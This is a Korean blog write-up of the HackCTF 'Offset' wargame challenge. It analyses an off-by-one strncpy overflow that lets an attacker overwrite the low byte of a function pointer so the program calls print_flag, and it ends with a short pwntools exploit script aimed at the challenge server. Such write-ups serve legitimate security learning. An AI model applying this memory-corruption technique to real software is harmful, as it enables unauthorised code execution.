본문 바로가기
Wargame/HackCTF

Offset

by Anatis 2021. 3. 16.

 

1. Mitigation

메모리 보호기법은 스택 카나리르 제외한 모두 걸려있다.

 

 

2. 문제 확인

프로그램을 실행시켜보면 a를 입력해보니 아무런 반응 없이 종료를 한다. 분석을 통해 알아보자

 

3. 풀이

메인 함수 영역을 살펴보면 "Which function would you like to call?" 이라는 문자열과 함께 입력을 받고 입력 값을 select_func함수로 넘겨준다.

 

select_func 함수는 입력받은 값을 strncpy로 dest로 복사를 하는데 31 바이트 만큼만 입력받는다. 입력받은 값이 one과 같으면 v3에 one 함수를 넘겨주고 리턴한다.

 

우리가 살펴볼 함수는 strncpy이다. 입력 받은 값을 dest로 복사를 할때 31바이트만큼 입력을 받는데 여기서 1 바이트 오버플로우가 되어 off by one 공격이 가능하다.

 

dest의 시작지점에서 v3의 까지의 offset은 30 바이트이다. 위 사진을 잘 보면 1 바이트가 오버플로우 되어 0x56555642가 된것을 볼 수 있다.

 

print_flag 함수의 하위 1 바이트의 값이 0xd8이니 v3의 하위 1 바이트를 print_flag의 하위 1 바이트 즉 0xd8로 조작하면 print_flag 함수가 호출될것이다.

 

exploit

from pwn import *

r = remote('ctf.j0n9hyun.xyz', 3007)
elf = ELF('./offset')

print_flag = elf.symbols['print_flag']
log.info('print_flag = ' + hex(print_flag))

payload = 'A'*30
payload += p32(0xd8)

r.send(payload)

r.interactive()

 

'Wargame > HackCTF' 카테고리의 다른 글

RTL_World  (0) 2021.03.16
BOF_PIE  (0) 2021.03.16
Simple_Overflow_ver_2  (0) 2021.03.16
Simple_size_bof  (0) 2021.03.16
x64 Buffer Overflow  (0) 2021.03.16

댓글